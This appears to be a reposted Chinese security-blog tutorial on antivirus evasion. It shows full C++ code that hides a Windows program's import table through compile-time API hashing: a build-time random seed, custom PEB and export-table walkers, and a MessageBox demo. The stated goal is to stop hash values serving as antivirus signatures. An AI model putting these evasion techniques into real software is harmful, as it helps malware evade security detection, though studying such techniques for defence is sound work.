该模块介绍了替换winapi的概念,而不是利用API散列来隐藏实现的IAT,并介绍了本地线程和进程的伪句柄概念。值得一提的是,并非所有的winapi函数都可以用自定义代码替换,因为它们中的大多数都是比本模块中显示的更复杂的函数。有关其他WinAPI函数替换,请访问https://github.com/vxunderground/VX-API。

0x06、编译时 API 哈希

介绍

在之前的 API Hashing 模块中,函数和模块的哈希值是在添加到代码之前生成的。不幸的是,这可能非常耗时,可以使用 编译时 API Hashing来避免。

此外,在之前的模块中,哈希是硬编码的,如果它们没有在每次实施中更新,安全解决方案就可以将它们用作 IoC。

更好的方案是,使用编译时 API 哈希,每次编译二进制文件时都会生成动态哈希。

仅限C++

由于使用了 constexpr 关键字,此方法仅适用于 C++ 项目。C ++ 中的 constexpr 运算符用于指示函数或变量可以在编译时进行求值。此外,函数和变量上的 constexpr 运算符允许编译器在编译时而不是运行时执行某些计算,从而提高应用程序的性能。

以下部分介绍了实现编译时散列所需的步骤。

创建编译时函数

第一步是使用 constexpr 运算符将要使用的哈希函数转换为编译时函数。在本例中,将修改 Dbj2 哈希算法以使用 constexpr 运算符 。

#define SEED 5
// 编译时Djb2散列函数(WIDE)
constexpr DWORD HashStringDjb2W(constwchar_t*String){
    ULONG Hash=(ULONG)g_KEY;
    INT c =0;
while((c =*String++)){
Hash=((Hash<< SEED)+Hash)+ c;
}

returnHash;
}

// 编译时Djb2哈希函数(ASCII)
constexpr DWORD HashStringDjb2A(constchar*String){
ULONG Hash=(ULONG)g_KEY;
INT c =0;
while((c =*String++)){
Hash=((Hash<< SEED)+Hash)+ c;
}

returnHash;
}

上面代码中未定义的变量 g_KEY,在两个函数中用作初始哈希值。 g_KEY 是一个全局 constexpr 变量,由名为 RandomCompileTimeSeed (如下所述)的函数在每次编译二进制文件时随机生成。

生成随机种子值

RandomCompileTimeSeed() 用于根据当前时间生成随机种子值。它通过从 TIME 宏中提取数字来实现此目的,TIME 宏是 C++ 中预定义的宏,可扩展为格式中的当前时间 HH:MM:SS 。然后,该 RandomCompileTimeSeed 函数将每个数字乘以不同的随机常数,并将它们全部相加以产生最终种子值。

RandomCompileTimeSeed用于基于当前时间生成随机种子值。它通过从TIME宏中提取数字来实现这一点,TIME宏是c++中预定义的宏,以HH:MM:SS格式扩展为当前时间。然后,RandomCompileTimeSeed函数将每个数字乘以一个不同的随机常数,并将它们全部相加以产生最终的种子值。

// 在编译时生成一个随机key,用作初始散列
constexprintRandomCompileTimeSeed(void)
{
return'0'*-40271+
        __TIME__[7]*1+
        __TIME__[6]*10+
        __TIME__[4]*60+
        __TIME__[3]*600+
        __TIME__[1]*3600+
        __TIME__[0]*36000;
};

// 编译时随机种子
constexprauto g_KEY =RandomCompileTimeSeed()%0xFF;

创建宏

接下来,定义两个宏 RTIME_HASHA 和 RTIME_HASHW,供 GetProcAddressH 函数在运行时用于比较哈希值。宏应定义如下。

#define RTIME_HASHA( API ) HashStringDjb2A((const char*) API) // Calling HashStringDjb2A 
#define RTIME_HASHW( API ) HashStringDjb2W((const wchar_t*) API) // Calling HashStringDjb2W

一旦建立了随机编译时哈希函数,下一步就是在变量中声明编译时哈希值。为了简化该过程,将实现两个宏。

#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A = HashStringDjb2A((const char*) #API); 
#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W = HashStringDjb2W((const wchar_t*) L#API);

字符串化运算符

#符号被称为字符串化操作符。它用于将预处理器宏参数转换为字符串字面值。

例如,如果CTIME_HASHA宏使用参数SomeFunction调用,如HASHA(SomeFunction),则#API表达式将被字符串字面量“SomeFunction”替换。

合并运算符

##操作符称为合并操作符。它用于将两个预处理器宏组合成一个宏。##操作符分别用于将API参数与字符串“_Rotr32A”或“_Rotr32W”组合起来,形成要定义的变量的最终名称。

例如,如果使用参数SomeFunction调用CTIME_HASHA宏,就像HASHA(SomeFunction)一样,##操作符将API与“_Rotr32A”结合起来,形成最终的变量名SomeFunction_Rotr32A。

宏扩展演示

为了更好地理解前面的宏是如何工作的,下面的图像显示了一个使用CTIME_HASHA宏为MessageBoxA创建散列的示例,方法是创建一个名为MessageBoxA_Rotr32A的变量,该变量将保存编译时的散列值。

【免杀】隐藏导入表(IAT)的六种方式

编译时哈希 - 代码

将所有部分放在一起后,代码将如下所示。

57_IAT_Hiding_Compile_Time_API_Hashing

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#define SEED 5// 生成一个随机密钥(用作初始hash)
constexpr int RandomCompileTimeSeed(void)
{
return'0'*-40271+
        __TIME__[7]*1+
        __TIME__[6]*10+
        __TIME__[4]*60+
        __TIME__[3]*600+
        __TIME__[1]*3600+
        __TIME__[0]*36000;
};

constexprauto g_KEY =RandomCompileTimeSeed()%0xFF;

// 编译时Djb2散列函数(WIDE)
constexpr DWORD HashStringDjb2W(const wchar_t* String) {
ULONG Hash=(ULONG)g_KEY;
INT c =0;
while((c =*String++)){
Hash=((Hash<< SEED)+Hash)+ c;
}

returnHash;
}

// 编译时Djb2哈希函数(ASCII)
constexpr DWORD HashStringDjb2A(const char* String) {
ULONG Hash=(ULONG)g_KEY;
INT c =0;
while((c =*String++)){
Hash=((Hash<< SEED)+Hash)+ c;
}

returnHash;
}

// 运行时哈希宏
#define RTIME_HASHA( API ) HashStringDjb2A((const char*) API)#define RTIME_HASHW( API ) HashStringDjb2W((const wchar_t*) API)// compile time hashing macros (used to create variables)
#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A = HashStringDjb2A((const char*) #API);#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W = HashStringDjb2W((const wchar_t*) L#API);

FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

PBYTE pBase =(PBYTE)hModule;

PIMAGE_DOS_HEADER           pImgDosHdr        =(PIMAGE_DOS_HEADER)pBase;
if(pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
returnNULL;

PIMAGE_NT_HEADERS           pImgNtHdrs        =(PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if(pImgNtHdrs->Signature!= IMAGE_NT_SIGNATURE)
returnNULL;

IMAGE_OPTIONAL_HEADER       ImgOptHdr= pImgNtHdrs->OptionalHeader;

PIMAGE_EXPORT_DIRECTORY     pImgExportDir     =(PIMAGE_EXPORT_DIRECTORY)(pBase +ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

PDWORD      FunctionNameArray=(PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD      FunctionAddressArray=(PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD       FunctionOrdinalArray=(PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

for(DWORD i =0; i < pImgExportDir->NumberOfFunctions; i++){
CHAR*    pFunctionName       =(CHAR*)(pBase +FunctionNameArray[i]);
PVOID    pFunctionAddress    =(PVOID)(pBase +FunctionAddressArray[FunctionOrdinalArray[i]]);

if(dwApiNameHash ==RTIME_HASHA(pFunctionName)){// runtime hash value check
return(FARPROC)pFunctionAddress;
}
}

returnNULL;
}

全部代码

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#define SEED 5// 生成一个随机密钥(用作初始hash)

#include <stdint.h>
#include <intrin.h>
#include <WinBase.h>

constexpr int RandomCompileTimeSeed(void)
{
return'0'*-40271+
__TIME__[7]*1+
__TIME__[6]*10+
__TIME__[4]*60+
__TIME__[3]*600+
__TIME__[1]*3600+
__TIME__[0]*36000;
};

constexprauto g_KEY =RandomCompileTimeSeed()%0xFF;

// 编译时Djb2散列函数(WIDE)
constexpr DWORD HashStringDjb2W(const wchar_t* String) {
ULONG Hash=(ULONG)g_KEY;
INT c =0;
while((c =*String++)){
Hash=((Hash<< SEED)+Hash)+ c;
}

returnHash;
}

// 编译时Djb2哈希函数(ASCII)
constexpr DWORD HashStringDjb2A(const char* String) {
ULONG Hash=(ULONG)g_KEY;
INT c =0;
while((c =*String++)){
Hash=((Hash<< SEED)+Hash)+ c;
}

returnHash;
}

// 运行时哈希宏
#define RTIME_HASHA( API ) HashStringDjb2A((const char*) API)
#define RTIME_HASHW( API ) HashStringDjb2W((const wchar_t*) API)// 
#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A = HashStringDjb2A((const char*) #API);
#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W = HashStringDjb2W((const wchar_t*) L#API);

FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

PBYTE pBase =(PBYTE)hModule;

PIMAGE_DOS_HEADER           pImgDosHdr =(PIMAGE_DOS_HEADER)pBase;
if(pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
returnNULL;

PIMAGE_NT_HEADERS           pImgNtHdrs =(PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if(pImgNtHdrs->Signature!= IMAGE_NT_SIGNATURE)
returnNULL;

IMAGE_OPTIONAL_HEADER       ImgOptHdr= pImgNtHdrs->OptionalHeader;

PIMAGE_EXPORT_DIRECTORY     pImgExportDir =(PIMAGE_EXPORT_DIRECTORY)(pBase +ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

PDWORD      FunctionNameArray=(PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD      FunctionAddressArray=(PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD       FunctionOrdinalArray=(PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

for(DWORD i =0; i < pImgExportDir->NumberOfFunctions; i++){
CHAR* pFunctionName =(CHAR*)(pBase +FunctionNameArray[i]);
PVOID    pFunctionAddress =(PVOID)(pBase +FunctionAddressArray[FunctionOrdinalArray[i]]);

if(dwApiNameHash ==RTIME_HASHA(pFunctionName)){// runtime hash value check
return(FARPROC)pFunctionAddress;
}
}

returnNULL;
}

//补充

#define HASHA(x) (JenkinsOneAtATime32Bit(x))

uint32_t JenkinsOneAtATime32Bit(const char* key) {
size_t i =0;
uint32_t hash =0;
while(key[i]!='�'){
hash += key[i++];
hash += hash <<10;
hash ^= hash >>6;
}
hash += hash <<3;
hash ^= hash >>11;
hash += hash <<15;
return hash;
}

HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {

if(dwModuleNameHash ==NULL)
returnNULL;

#ifdef _WIN64
PPEB      pPeb =(PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB      pPeb =(PEB*)(__readfsdword(0x30));
#endif

PPEB_LDR_DATA            pLdr =(PPEB_LDR_DATA)(pPeb->Ldr);
PLDR_DATA_TABLE_ENTRY    pDte =(PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

while(pDte){

if(pDte->FullDllName.Length!=NULL&& pDte->FullDllName.Length< MAX_PATH){

// Converting `FullDllName.Buffer` 转换成大写
CHAR UpperCaseDllName[MAX_PATH];

DWORD i =0;
while(pDte->FullDllName.Buffer[i]){
UpperCaseDllName[i]=(CHAR)toupper(pDte->FullDllName.Buffer[i]);
i++;
}
UpperCaseDllName[i]='�';

// 哈希' UpperCaseDllName '并将哈希值与输入' dwModuleNameHash '的哈希值进行比较
if(HASHA(UpperCaseDllName)== dwModuleNameHash)
//return pDte->Reserved2[0]; 修改,转换成句柄
return(HMODULE)pDte->Reserved2[0];
//return (HMODULE)pDte->DllBase;  修改1,不行

}
else{
break;
}

pDte =*(PLDR_DATA_TABLE_ENTRY*)(pDte);
}

returnNULL;
}

CTIME_HASHA(MessageBoxA);
CTIME_HASHW(MessageBoxW);

typedef int (WINAPI* fnMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
typedef int (WINAPI* fnMessageBoxW)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

int main() {

//----------------------------------------------------------------------------
printf("[i] Hash Of "%s" Is : 0x%0.8X n","USER32.DLL",HASHA("USER32.DLL"));
// 将User32.dll加载到当前进程,以便GetModuleHandleH工作
if(LoadLibraryA("USER32.DLL")==NULL){
printf("[!] LoadLibraryA Failed With Error : %d n",GetLastError());
return0;
}

// 使用GetModuleHandleH获取user32.dll的句柄
#define USER32DLL_HASH      0xA2B1A3C7
HMODULE hUser32Module =GetModuleHandleH(USER32DLL_HASH);
if(hUser32Module ==NULL){
printf("[!] Cound'nt Get Handle To User32.dll n");
return-1;
}

// 使用GetProcAddressH获取MessageBoxA函数的地址
//fnMessageBoxA pMessageBoxA = (fnMessageBoxA)GetProcAddressH(hUser32Module, MessageBoxA_HASH);
//if (pMessageBoxA == NULL) {
//    printf("[!] Cound'nt Find Address Of Specified Function n");
//    return -1;
//}

//----------------------------------------------------------------------------
printf("[i]MessageBoxA_Rotr32A 0x%0.8X n",MessageBoxA_Rotr32A);
printf("[i]MessageBoxW_Rotr32W 0x%0.8X n",MessageBoxW_Rotr32W);

fnMessageBoxA pMessageBoxA =(fnMessageBoxA)GetProcAddressH(hUser32Module,MessageBoxA_Rotr32A);
if(pMessageBoxA ==NULL){
return-1;
}

fnMessageBoxW pMessageBoxW =(fnMessageBoxW)GetProcAddressH(hUser32Module,MessageBoxW_Rotr32W);
if(pMessageBoxW ==NULL){
return-1;
}

// 调用 MessageBoxA
pMessageBoxA(NULL,"A Adjust from Maldev","Wow", MB_OK | MB_ICONWARNING);
pMessageBoxW(NULL,"222","WWW", MB_OK | MB_ICONWARNING);

printf("[#] Press <Enter> To Quit ... ");
getchar();

return0;

}

演示

实操:

先跑起来

【免杀】隐藏导入表(IAT)的六种方式

【免杀】隐藏导入表(IAT)的六种方式

【免杀】隐藏导入表(IAT)的六种方式

【免杀】隐藏导入表(IAT)的六种方式

可以看到MessageBox确实正在被使用。

不太符合预期的是pMessageBoxW 弹窗乱码了.

添加代码查看【每次编译代码时,MessageBoxA_Rotr32A、MessageBoxW_Rotr32W是否被修改】

printf("[i]MessageBoxA_Rotr32A 0x%0.8X n", MessageBoxA_Rotr32A); printf("[i]MessageBoxW_Rotr32W 0x%0.8X n", MessageBoxW_Rotr32W);

验证:

【免杀】隐藏导入表(IAT)的六种方式

【免杀】隐藏导入表(IAT)的六种方式

可以看到确实发生了更改,如此可以防止hash值也被计入特征值来杀毒

【免杀】隐藏导入表(IAT)的六种方式

也可以看到,exe中只有打印的字符串存在,去掉打印的语句即可。

原文连接

https://www.t00ls.com/articles-72505.html

 

原文始发于微信公众号(T00ls安全):【免杀】隐藏导入表(IAT)的六种方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月27日13:28:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀】隐藏导入表(IAT)的六种方式https://cn-sec.com/archives/3214048.html

发表评论

匿名网友 填写信息